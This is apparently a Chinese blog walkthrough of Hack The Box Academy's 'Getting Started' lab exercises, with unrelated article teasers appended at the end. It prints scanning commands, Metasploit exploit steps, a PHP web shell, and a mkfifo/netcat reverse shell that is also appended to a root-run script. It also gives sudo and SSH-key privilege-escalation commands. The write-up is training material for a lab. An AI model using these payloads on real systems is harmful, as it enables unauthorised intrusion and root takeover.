HTB Getting Started

news2024/9/22 11:38:45

HackTheBox Getting Started 练习解析

1.Basic Tools

在这里插入图片描述

直接用知识点

sjhdvjs@htb[/htb]$ netcat 10.10.10.10 22

SSH-2.0-OpenSSH_8.4p1 Debian-3

在这里插入图片描述
在这里插入图片描述

2.Service Scanning

在这里插入图片描述

这题需要连接vpn进行扫描

kail连接VPN

sudo openvpn academy-regular.opvn		#kail 没安装openvpn需要进行安装  通过apt install 命令安装

在这里插入图片描述

接下来进行端口扫描

nmap -sV -sC -p- 10.129.42.254
nmap -A -p- -T4  10.129.42.254     速度快一点

在这里插入图片描述

第三问是smb共享

smbclient -U bob \\\\10.129.42.254\\users			用给的用户名密码:bob:Welcome1
ls
cd flag
get falg.txt		将会下载到本地

在这里插入图片描述

在这里插入图片描述

3.Web Enumeration

在这里插入图片描述

访问:http://94.237.56.76:32430

在这里插入图片描述

根据知识点用gobuster

gobuster dir -u http://94.237.56.76:32430 -w /usr/share/dirb/wordlists/common.txt

在这里插入图片描述

访问robots.txt

在这里插入图片描述

访问admin

在这里插入图片描述

根据知识点提示查看源代码
在这里插入图片描述

登录

在这里插入图片描述

在这里插入图片描述

4.Public Exploits

在这里插入图片描述

访问:http://94.237.48.48:58252/

在这里插入图片描述

根据提示使用公开exp

msfconsolve
search Simple Backup Plugin
use 0
set rhost 94.237.48.48
set rport 58252
set FILEPATH /flag.txt					#根据提示读取的文件路径为/flag.txt
run

在这里插入图片描述

在这里插入图片描述

5.Privilege Escalation

在这里插入图片描述

根据提示使用ssh登录

ssh user1@94.237.48.48 -p 53673      使用给的用户密码 user1:password1
sudo -l
sudo -u user2 /bin/bash               #根据给的知识点切换到user2
cat /home/user2/flag.txt

在这里插入图片描述

第二问:权限提升,需要用到rsa私钥连接

cd /root/.ssh/
ls
cat id_rsa 
vim id_rsa    #复制到本地kail中
chmod 600 id_rsa
ssh root@94.237.48.48 -p 53673 -i id_rsa

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

6.Nibbles - Enumeration

sudo openvpn academy-regular.opvn
nmap -sV --script=http-enum -oA nibbles_nmap_http_enum 10.129.145.66

在这里插入图片描述

在这里插入图片描述

7.Nibbles - Initial Foothold

sudo openvpn academy-regular.opvn

目标IP:10.129.200.170

访问:

在这里插入图片描述

gobuster

gobuster dir -u http://10.129.200.170/ -w /usr/share/dirb/wordlists/common.txt

发现只有一个index.html页面,并没有什么用

在这里插入图片描述

查看源代码,发现注释里面提示存在/nibbleblog/目录,于是再用gobuster扫一次

在这里插入图片描述

gobuster dir -u http://10.129.200.170/nibbleblog/ -w /usr/share/dirb/wordlists/common.txt

在这里插入图片描述

发现了一些有用的目录,依次访问

最终在http://10.129.200.170/nibbleblog/content/private/路径下看到了users.xmlconfig.xml

在这里插入图片描述

于是访问看看内容

curl http://10.129.200.170/nibbleblog/content/private/config.xml |xmllint --format -   #以xml形式展现
curl http://10.129.200.170/nibbleblog/content/private/users.xml |xmllint --format -

在这里插入图片描述
在这里插入图片描述

于是访问admin.php,用admin:nibbles 尝试登录,成功登录之后,找上传点,在plugins找到上传点

在这里插入图片描述

在这里插入图片描述

进行文件上传

<?php system('id');?>

在这里插入图片描述

访问http://10.129.200.170/nibbleblog/content/private/plugins/my_image/image.php

使用知识点中的bash反弹shell

<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.59 6666 >/tmp/f"); ?>
python3 -c 'import pty; pty.spawn("/bin/bash")'
cd /home/nibbler
ls
cat user.txt

在这里插入图片描述

在这里插入图片描述

8.Nibbles - Privilege Escalation

根据提示进行提权

ls 
unzip personal.zip
cd /home/nibbler/personal/stuff
cat monitor.sh

在这里插入图片描述

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.59 9443 >/tmp/f' | tee -a monitor.sh		#打开另一个监听窗口
sudo /home/nibbler/personal/stuff/monitor.sh				#运行文件进行反弹

在这里插入图片描述

nc64.exe -lvnp 9443
pwd
cd /root
ls
cat root.txt  #获取flag

在这里插入图片描述

在这里插入图片描述

9.Knowledge Check

在这里插入图片描述

连接VPN访问:

sudo openvpn academy-regular.ovpn 

 http://10.129.42.249       #打开发现是GetSimple CMS

在这里插入图片描述

访问robots.txt

在这里插入图片描述

访问admin,没有账号密码登录不了,

在这里插入图片描述

进行目录扫描,

gobuster dir -u http://10.129.42.249 -w /usr/share/dirb/wordlists/common.txt

在这里插入图片描述

依次访问发现没什么好用的

打开msf,查看是否有公开的exp

msfconsole
search getsimple
use 1

在这里插入图片描述

set rhost 10.129.42.249
set lhost 10.10.14.59			#设置为连接vpn之后分配的ip
run				#发现成功返回会话

在这里插入图片描述

pwd
cd /home
ls
cd mrb3n
ls
cat user.txt  #成功获得flag

在这里插入图片描述

接下来进行提权

shell		#创建会话
whoami
sudo -l		#发现是 /usr/bin/php

在这里插入图片描述

访问:https://gtfobins.github.io/  搜索php

在这里插入图片描述

点击sudo 查看提权命令

在这里插入图片描述

CMD="/bin/sh"						依次输入进行提权
sudo php -r "system('$CMD');"

在这里插入图片描述

到此最后一个flag拿到。

在这里插入图片描述

]

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/936649.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

文本分类任务

文章目录 引言1. 文本分类-使用场景2. 自定义类别任务3. 贝叶斯算法3.1 预备知识3.2 贝叶斯公式3.3 贝叶斯公式的应用3.4 贝叶斯公式在NLP中的应用3.5 贝叶斯公式-文本分类3.6 代码实现3.7 贝叶斯算法的优缺点 4. 支持向量机4.1 支持向量机-核函数4.2 支持向量机-解决多分类4.3…

设计模式入门:解密优雅的代码构建

从本篇文章开始&#xff0c;我们将开启一个设计模式的系列文章&#xff0c;主要用来介绍常用的设计模式&#xff0c;使用场景和代码案例&#xff0c;对设计模式不熟悉的老铁可以关注一下&#xff0c;可以快速让你入门设计模式。 在软件开发的世界中&#xff0c;设计模式是一种…

1.神经网络基础知识

所有有用的计算机系统都有一个输入和一个输出&#xff0c; 并在输入和输出之间进行某种类型的计算。 神经网络也是如此。 当我们不能精确知道一些事情如何运作时&#xff0c; 我们可以尝试使用模型来估计其运作方式&#xff0c; 在模型中&#xff0c; 包括了我们可以调整的参数…

4-1-netty

非阻塞io 服务端就一个线程&#xff0c;可以处理无数个连接 收到所有的连接都放到集合channelList里面 selector是有事件集合的 对server来说优先关注连接事件 遍历连接事件

list(介绍与实现)

目录 1. list的介绍及使用 1.1 list的介绍 1.2 list的使用 1.2.1 list的构造 1.2.2 list iterator的使用 1.2.3 list capacity 1.2.4 list element access 1.2.5 list modififiers 1.2.6 list的迭代器失效 2. list的模拟实现 2.1 模拟实现list 2.2 list的反向迭代器 1.…

Python 潮流周刊#17:Excel 终于支持 Python 了、Meta 重磅开源新项目、Mojo 新得 1 亿美元融资...

△点击上方“Python猫”关注 &#xff0c;回复“1”领取电子书 你好&#xff0c;我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容&#xff0c;大部分为英文。标题取自其中三则分享&#xff0c;不代表全部内容都是该主题&#xff0c;特此声明。 本周刊由 Python猫 出品…

内核模块添加功能及使用(静态、动态)

一、向内核添加新功能 1.1 静态加载法&#xff1a; 即新功能源码与内核其它代码一起编译进uImage文件内 新功能源码与Linux内核源码在同一目录结构下 在linux-3.14/driver/char/目录下编写myhello.c&#xff0c;文件内容如下&#xff1a; #include <linux/module.h> #i…

如何使用腾讯云服务器搭建网站?

使用腾讯云服务器搭建网站全流程&#xff0c;包括轻量应用服务器和云服务器CVM建站教程&#xff0c;轻量可以使用应用镜像一键建站&#xff0c;云服务器CVM可以通过安装宝塔面板的方式来搭建网站&#xff0c;腾讯云服务器网分享使用腾讯云服务器建站教程&#xff0c;新手站长搭…

【深度学习】Pytorch训练过程中损失值出现NaN

项目场景 利用Pytorch框架&#xff0c;结合FEDformer开源代码&#xff08;https://github.com/MAZiqing/FEDformer&#xff09;&#xff0c;将自己的数据集作为输入训练模型。 问题描述 训练过程中&#xff0c;发现打印出来的Train loss, Test loss, Test loss中&#xff0c…

【产品文档】团队介绍PPT模板

今天和大家免费分享团队介绍的PPT模板。团队介绍是向他人展示团队的实力、专业性和能力的重要方式。通过一个有力的团队介绍&#xff0c;您可以突出团队的成员、经验、技能和取得的成就&#xff0c;从而增加信任、吸引合作伙伴、客户或投资者的兴趣 【模板预览】 动态演示效果…

API管理风险:如何确保您的API安全与可靠?

API管理风险&#xff1a;如何确保您的API安全与可靠&#xff1f; 随着数字化时代的到来&#xff0c;应用程序接口&#xff08;API&#xff09;在现代软件开发中发挥着关键的作用。然而&#xff0c;API管理过程中存在着各种潜在的风险。本文将探讨如何有效地管理和缓解这些风险…

前端将file文件传给后台,后台将文件传给前台(包含上传下载)

前端将file文件传给后台&#xff0c;后台将文件传给前台&#xff08;包含上传下载&#xff09; 在开发过程中&#xff0c;经常会遇见对文件的处理。 例如&#xff1a;在上传、下载文件时&#xff0c;需要在前端选完文件传到后台传到服务器&#xff1b;或者文件从后台&#xf…

001微信小程序云开发 API数据库-导入/导出

文章目录 微信小程序云开发 API数据库-导入案例代码微信小程序云开发API数据库-导出案例代码 微信小程序云开发 API数据库-导入 随着移动互联网的普及&#xff0c;微信小程序已经成为一种受欢迎的应用形式。微信小程序云开发 API 数据库是微信小程序的一项重要功能&#xff0c…

msvcp140.dll重新安装的解决方法,msvcp140.dll丢失解决方案

今天&#xff0c;我将向大家传授一种与我们的日常生活紧密相连的技巧——解决msvcp140.dll重新安装的方法。在这个信息爆炸的时代&#xff0c;每个人就像是在纷繁复杂的电脑问题中航行的船只&#xff0c;随时可能遭遇各种故障和问题。 首先&#xff0c;让我们来了解一下msvcp14…

Modbus转Profinet网关应用在自动上料机案例

该案例中的自动上料机通过使用Modbus转Profinet网关实现了与1200PLC和G120变频器的通信。这种通信方式能够实现设备之间的数据交换和控制命令传输&#xff0c;大大提升了自动上料机的运行效率和精度。通过使用该网关&#xff0c;1200PLC可以准确地向G120变频器发送控制命令&…

RK3399平台开发系列讲解(存储篇)Linux 存储系统的 I/O 栈

平台内核版本安卓版本RK3399Linux4.4Android7.1🚀返回专栏总目录 文章目录 一、Linux 存储系统全景二、Linux 存储系统的缓存沉淀、分享、成长,让自己和他人都能有所收获!😄 📢本篇将介绍 Linux 存储系统的 I/O 原理。 一、Linux 存储系统全景 我们可以把 Linux 存储系…

vue2 路由进阶,VueCli 自定义创建项目

一、声明式导航-导航链接 1.需求 实现导航高亮效果 如果使用a标签进行跳转的话&#xff0c;需要给当前跳转的导航加样式&#xff0c;同时要移除上一个a标签的样式&#xff0c;太麻烦&#xff01;&#xff01;&#xff01; 2.解决方案 vue-router 提供了一个全局组件 router…

2000-2021年上市公司绿色投资环保投资与营业收入之比数据(原始数据+计算代码+计算结果)

2000-2021年上市公司绿色投资环保投资与营业收入之比数据&#xff08;原始数据计算代码计算结果&#xff09; 1、时间&#xff1a;2000-2021年 2、来源&#xff1a;上市公司年报 3、指标&#xff1a;证券代码、企业名称、年份、管理费用环保投资、管理费用环保投资/营业收入…

ARTS打卡第二周之链表环的检测、gdb中disassemble的使用、底层学习建议、学习分享

Algorithm 题目&#xff1a;链表中环的检测 自己的分析见博客《检测链表中是否存在环》 Review disassemble command是我读的一篇英语文章&#xff0c;这篇文章主要是介绍gdb反汇编命令的使用和参数。自己为了能够演示这篇文章里边的内容&#xff0c;特意自己使用汇编语言编…